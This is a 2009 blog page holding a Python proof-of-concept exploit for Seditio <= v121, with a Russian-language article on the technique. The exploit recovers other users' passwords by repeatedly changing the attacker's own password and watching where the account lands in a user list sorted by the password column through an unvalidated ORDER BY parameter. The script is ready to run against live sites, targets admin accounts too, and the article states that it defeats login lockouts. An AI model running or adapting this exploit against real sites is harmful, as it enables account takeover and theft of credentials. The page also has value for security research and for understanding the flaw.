03.05.2009

Seditio <= v121 User Password Dichotomic Bruteforce PoC Exploit

#!/usr/bin/env python

"""
Seditio <= v121 User Password Dichotomic Bruteforce PoC Exploit
by cr0w [ http://cr0w-at.blogspot.com ]

Vendor site: http://www.neocrome.net
Seditio v121 download link: http://www.neocrome.net/files/120/code/seditio-build121.rar

Based on vulnerability founded by Red_Red1. It was discussed here (in russian):
http://forum.antichat.ru/showthread.php?p=617264

More info about this web attack method you can find here (in russian):
http://cr0w-at.blogspot.com/2009/05/order-by-sql-1.html

"""

import re
import sys
import md5
import getopt
import urllib
import urllib2
import cookielib
from math import ceil

class Dicho:

def __init__(self, list):
self.count = 0
self.current_pos = None
self.list = list

def passwords(self): return self.list
def pass_len(self): return len(self.list)

def next_pass(self):
if len(self.list)<=2: return None
self.current_pos = int(ceil(len(self.list)/2))
self.count += 1
return self.list[self.current_pos]

def user_upper(self): self.list = self.list[self.current_pos:]
def target_upper(self): self.list = self.list[0:self.current_pos+1]


def usage():

print """
Seditio <= v121 User Password Dichotomic Bruteforce PoC Exploit\n
Usage:\n%s unsorted_passlist.txt [-o passlist.txt]
%s http://vuln.site -u user -p password -t target_user [-l passlist.txt]""" \
% (sys.argv[0], sys.argv[0])
sys.exit()


def sort_file(input_file, output_file):

print "[~] Passlist sorting"

try: words = [line.rstrip() for line in open(input_file)]
except: sys.exit("[!] Can't read " + input_file)
try: output = open(output_file, 'w')
except: sys.exit("[!] Can't open " + output_file)

words = map(lambda word: md5.new(word).hexdigest()+word, words)
words.sort()
[output.write(word[32:]+"\n") for word in words]

print u"[+] Done! Sorted passlist with %i words here: %s" % (len(words), output_file)
sys.exit()


def user_auth(user, password):

print "[~] Authorization"

data = urllib.urlencode(
{'rusername': user,
'rpassword': password,
'rcookiettl': '86400',
'x': 'GUEST'})

try:
req = urllib2.Request(url+"/users.php?m=auth&a=check&redirect=", data=data, headers=headers)
page = urllib2.urlopen(req)

if page.geturl().find('msg=104') > 5:
print u"[+] User %s logged" % user
return True
else:
print u"[-] User %s not logged" % user
return False
except:
print "[!] Can't authorize"
return False


def password_change(new_password):

global password
print u"[~] Password change from '%s' to '%s'" % (password, new_password),

try:
req = urllib2.Request(url+"/users.php?m=profile", headers=headers)
page = urllib2.urlopen(req).read()

x_value = re.search(r'<input type="hidden" id="x" name="x" value="(.*)" />', page).group(1)

data = urllib.urlencode({"rnewpass1": new_password,
"rnewpass2": new_password,
"x": x_value})

req = urllib2.Request(url+"/users.php?m=profile&a=update&x="+x_value, data=data, headers=headers)
page = urllib2.urlopen(req)

if page.geturl().find("msg=113") > 0:
print "[changed]"
password = new_password
except:
print "[-] Error: can't change password or something else"
sys.exit()


def parse_userlist(user, target_user):

d_value = 0
while d_value < 1000:
try:
req = urllib2.Request(
url+"/users.php?f="+f_value+"&s=password&w=asc&g=&gm=&d="+str(d_value),
headers=headers)
page = urllib2.urlopen(req).read()

users = re.findall(r'<a href="users.php\?m=details&amp;id=\d+">(.*)</a>', page)
if (user in users) and (target_user in users):
if users.index(user) < users.index(target_user): return user
else: return target_user
elif user in users: return user
elif target_user in users: return target_user
else:
d_value += 50
continue
raise Error
except:
print "[-] Error: can't parse userlist"
sys.exit()

# Defaults
headers = {}
sorted_file = 'passlist.txt'
pass_file = 'passlist.txt'


try: opts, args = getopt.getopt(sys.argv[2:], "o:u:p:t:l:")
except getopt.GetoptError, err: usage()
for opt, arg in opts:
if opt == '-o': sorted_file = arg
elif opt == '-u': user = arg
elif opt == '-p': password = arg
elif opt == '-t': target_user = arg
elif opt == '-l': pass_file = arg
else: usage()

try: sys.argv[1]
except: usage()

if sys.argv[1].startswith('http'): url = sys.argv[1]
else: sort_file(sys.argv[1], sorted_file)

first_pass = password[:]

if user[0:1].upper() == target_user[0:1].upper():
f_value = user[0:1].upper()
else: f_value = 'all'

try: dic = Dicho([line.rstrip() for line in open(pass_file)])
except: sys.exit("Can't open " + pass_file)

cookies = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookies))
urllib2.install_opener(opener)

if not user_auth(user, password):
print "[!] Can't authorize"
sys.exit()

while True:
new_pass = dic.next_pass()
if new_pass == None: break
print "[~] %i. %i passwords in memory" % (dic.count, dic.pass_len())
password_change(new_pass)
if parse_userlist(user, target_user) == user: dic.user_upper()
else: dic.target_upper()

print "[~] Return old password to %s" % user
password_change(first_pass)
cookies.clear()

for passwords in dic.passwords():
print u"[~] Trying password '%s' for %s" % (passwords, target_user)
if user_auth(target_user, passwords):
print "[+] Success!\a"
print u"\n[+] %s:%s" % (target_user, passwords)
sys.exit()

print u"\n[-] Password for %s not founded" % target_user

# by cr0w
# http://cr0w-at.blogspot.com

02.05.2009

Подбор паролей методом дихотомического поиска используя подмену аргумента конструкции "ORDER BY" SQL-запроса. Часть 1.

Идею о возможности проведения атак на веб-приложения описываемым в этой заметке методом я подчерпнул из темы на форуме antichat.ru, созданной Red_Red1 уже более года назад. Мне эта идея показалсь интересной, а потому я решил немного развить ее, а, теперь, и написать заметку (точнее, несколько, так как в одну у меня уложиться не получается ( ; ) о проведении веб-атак подобным методом.

Основная идея

Предположим, мы имеем скрипт users.php, который выводит список пользователей атакуемого веб-сайта. Обычно, подобные скрипты выводят этот список в виде таблицы, содержащей имя пользователя, дату его регистрации, статус на сайте и т.п. информацию. Кроме того данный скрипт позволяет сортировать вывод этой информации по каждому из этих параметров. Например, передав скрипту параметры "?orderby=name&direct=ASC", мы получаем список пользователей отсортированный в нисходящем порядке по параметру name, т.е. по имени пользователей. Обычно, таблица БД к которой обращаются подобные скрипты, помимо выводимых ими данных, содержит также секретные данные: например, пароли или хеши паролей юзерских аккаунтов.

Вот тут разработчиков веб-движков и может подстерегать опасная ошибка. Если передаваемый скрипту параметр "orderby", подставляется в SQL-запрос, без проверки его на "адекватность" его значения, то мы можем передать параметр "orderby" равный, к примеру, 'password' (или равный номеру колонки 'password' в таблице с пользователями), получив таким оразом вывод списка пользователей, отсортированный по полю 'password'. Дело в том, что тут действует одна важная особенность конструкции "ORDER BY" SQL-опертора SELECT: сортировка с помощью нее возможна по любому полю таблицы из которой извлекается информация, а не только по тем полям, по которым производится выборка SELECT'ом. Причем в данном случае никакой роли не сыграют различные защиты от sql-инъекций. Фактически, в случае обнаружения подобной уязвимости, мы имеем хоть и косвенное, но все же раскрытие секретной информации, что уже можно считать дырой в безопасности.

Является ли эта уязвимость распространенной? Нет. В серьезных движках с солидной историей обновлений ее трудно будет повстречать, но вот в разного рода самописных сайтовых движках, "фирменных" двигах всяких мелких веб-студий, вероятность обнаружить подобную багу всегда есть.

Является ли данная уязвимость действительно опасной? Да, в случае, если атакующий имеет доступ к аккаунту пользователя уязвимого сайта и имеется возможность изменять пароль данного юзера, или же есть возможность создавать некоторое количество новых юзеров, при этом нет возможности менять их пароли. Кроме того необходимое условие для атаки: пароли в БД хранятся либо в plain-text виде, либо в виде хеша, но без соли. Следует отметить, что в случе с хешами возможен подбор только криптографически слабых паролей.

Как уже наверняка стало понятным, можно использовать вывод списка пользователей, упорядоченный по их паролям, для брутфорса аккаунтов юзеров сайта, путем изменения пароля собственного пользовательского аккаунта и последующего наблюдения изменений в его местоположения в списке пользователей относительно аккаунта жертвы. "Жертвами", при этом, могут быть как простые юзеры, так и админы сайта, если информация об их аккаунтах хранится в одной таблице с остальными пользователями.

Причем брутфорс этот будет совсем не похож, на то, что обычно называют брутфорсом пользовательсих аккаунтов. Специфика его заключается в том, что мы имеем возможность искать верное значение не путем перебора значений по-одному с проверкой их на верность, а путем исключений неверных диапозонов искомых значений, вычисляя, таким образом, те значения, которые предположительно могут быть верными. Преимущество такого брутфорса - просто огромная эффективность: за относительно небольшое количество запросов к сайту можно перебрать огромный список возможных паролей. Кроме того, от него не спасут различные защиты от брутфорса аккаунтов сайта, например, таймаут после нескольких неудачных попыток авторизации.

Подбор хешированного пароля

Давайте рассмотрим несколько подробнее алгоритм реализации брутфорса по словарю. Для такого брутфорса будем использовать метод дихтомического (бинарного) поиска. Проведем для начала небольшой эксперимент, для чего нам потребуется СУБД, например, MySQL.

Для начала создадим словарь. В том случае, когда имеет место хранение паролей в БД в plain-text-виде, будем использовать просто отсортированный словарь, а в случаях, когда пароли хранятся в виде хешей - словарь из слов, отсортированных по их хешам. Алгоритм хеширования может быть любой, но, как я уже говорил, без использования случайно генерируемой соли. Главное что мы должны знать, это то какой используется алгоритм хеширования.

Допустим, мы будем брутить по словарю пароль, хешированный алгоритмом md5. Возьмем словарь и отсортируем слова в нем по их md5-хешам:

apple                        12d5dfbba5861f516534031cd78a30a9:cannabis
bee 1f3870be274f6c49b3e31a0c6728957f:apple
cannabis 3a4e24a20ad52afef48852b613da483a:gameover
destroy 8c7e845bbfd7e7e0266975099e6d4801:hek
enigma сортируем их 8d8d1437907bca79900ac5f0ea1f5c73:north
gameover по md5-хешам 90954349a0e42d8e4426a4672bde16b9:enigma
forest ===========> 9dfd70fdf15a3cb1ea00d7799ac6651b:bee
hek b5c0b187fe309af0f4d35982fd961d7e:love
love e4f1ee70c698a129fd50624360191e91:victory
north f379cfd7a55b621577a8389d1817a102:forest
operation f7235a61fdc3adc78d866fd8085d44db:operation
victory fb14982288108e1fbd6207ef55f05027:destroy

В итоге мы имеем словарь, упорядоченный для дихотомического брутфорса:

cannabis
apple
gameover
hek
north
enigma
bee
love
victory
forest
operation
destroy

Теперь создадим в БД таблицу users и наполним ее несколькими записями:

mysql> CREATE TABLE users (
-> name VARCHAR(20),
-> password VARCHAR(32)
-> );

mysql> INSERT INTO users VALUES
-> ('admin', MD5('gameover')),
-> ('user1', MD5('lalala')),
-> ('user2', MD5('ololo'));
-> ('user3', MD5('123')),
-> ('user4', MD5('9999')),
-> ('user5', MD5('gogogo')),
-> ('cr0w', MD5('010101'));

mysql> SELECT * FROM users;
+-------+----------------------------------+
| name | password |
+-------+----------------------------------+
| admin | 3a4e24a20ad52afef48852b613da483a |
| user1 | 9aa6e5f2256c17d2d430b100032b997c |
| user2 | a619d974658f3e749b2d88b215baea46 |
| user3 | 202cb962ac59075b964b07152d234b70 |
| user4 | fa246d0262c3925617b0c72bb20eeb1d |
| user5 | 35af4bf130805f0b86b1b13e49c8101e |
| cr0w | 21ef05aed5af92469a50b35623d52101 |
+-------+----------------------------------+

Теперь притворимся, что мы не можем видеть содержимое таблицы users и не знаем пароля у юзера admin, но очень хотим его заполучить (: . При этом мы имеем возможность менять пароль пользователю cr0w и получать вывод имен пользователей отсортированный по полю 'password'.

Итак, начнем:

1. В словаре у нас 12 слов - ставим в качестве пароля юзеру cr0w 6-е (делим словарь надвое и берем то, что выше середины), т.е. 'enigma':

mysql> UPDATE users SET password=MD5('enigma') WHERE name='cr0w';

mysql> SELECT name FROM users ORDER BY password;
+-------+
| name |
+-------+
| user3 |
| user5 |
| admin |
| cr0w |
| user1 |
| user2 |
| user4 |
+-------+

Отсюда можно сделать вывод, что все пассы в словаре, находящиеся ниже 'enigma', не являются паролем admin'a (при этом, пароль 'enigma' может являться искомым паролем!). Осталось 6 вариантов возможных паролей.

2. Теперь ставим cr0w пасс 'gameover':

mysql> UPDATE users SET password=MD5('gameover') WHERE name='cr0w';

mysql> SELECT name FROM users ORDER BY password;
+-------+
| name |
+-------+
| user3 |
| user5 |
| admin |
| cr0w |
| user1 |
| user2 |
| user4 |
+-------+

Делаем вывод, что слова, находящиеся в словаре ниже 'gameover' не могут быть паролем юзера admin.

3. Пробуем пасс 'apple':

mysql> UPDATE users SET password=MD5('apple') WHERE name='cr0w';

mysql> SELECT name FROM users ORDER BY password;
+-------+
| name |
+-------+
| cr0w |
| user3 |
| user5 |
| admin |
| user1 |
| user2 |
| user4 |
+-------+

cr0w теперь выводится в списке пользователей выше admin'a, что означает, что его пароль или 'apple' или 'gameover'.

Кто-то может возразить по поводу выводов сделанных в последнем шаге, а именно по поводу утверждения о том, что оба пароля и 'apple', и 'gameover', могут являться паролем admin'a. Привести против этого утверждения можно 2 довода:
1. В выведенном списке юзеров между cr0w и admin находятся 2 юзера, а значит у них разные пароли. Этот довод банально неверен, потому что у всех этих юзеров: cr0w, user3, user5 и admin, теоретически, может быть одинаковый пароль.
2. Если у cr0w и admin одинаковые пароли, то cr0w должен находиться в отсортированном списке юзеров ниже чем admin, так как запись о пользователе cr0w была занесена в таблицу после записи о юзере admin. Этот довод также неверен, так как нет никакой гарантии, что используемый СУБД алгоритм сортировки будет таков, что после сортировки по определенному полю таблицы, записи с одинаковыми значениями в этом поле будут выведены в том порядке, в котором вносились в таблицу.

Но на практике нередко мы можем передать конструкции "ORDER BY" не один параметр, а несколько (нам достаточно двух), что позволит отсортировать записи нужным нам образом (чтобы мы точно знали, кто за кем будет следовать при одинаковых паролях). Это полезно, так как в случаях когда:

mysql> UPDATE users SET password=MD5('pass') WHERE name='cr0w';

mysql> SELECT name FROM users ORDER BY password,name;
+-------+
| name |
+-------+
| user3 |
| user5 |
| cr0w |
| admin |
| user1 |
| user2 |
| user4 |
+-------+

Можно будет делать выводы, что все пассы в словаре, находящиеся выше 'pass', не являются паролем admin'a и при этом, сам пароль 'pass' тоже не будет являться искомым паролем (вот в этом разница). Таким образом, в ряде случаев можно будет получать 1 предположительно верный пароль, заместо двух и, возможно, сократить число итераций брутфорса.

Итак, вернемся к решению проблемы с паролем admin'a. У нас осталось два возможных пароля. На этом дихотомический брутфорс можно завершить. Остается проверить правильность двух этих паролей обычным методом. Замечу, что в итоге могут не подойти оба пароля. Это значит пароль admin'a такой, что его md5-хеш находится где-то между хешем от 'apple' и 'gameover', и в нашем словаре он отсутствует. Итак, попробовав пароли 'apple' и 'gameover', мы обнаружим, что один и них верен, а значит, метод работает. ( :

Пока закончу на этом, но в последующих заметках обязательно продолжу тему.

Ссылки по теме:
Тема на форуме Античат, о которой я писал в начале
Advisory о подобной уязвимости в Fireboard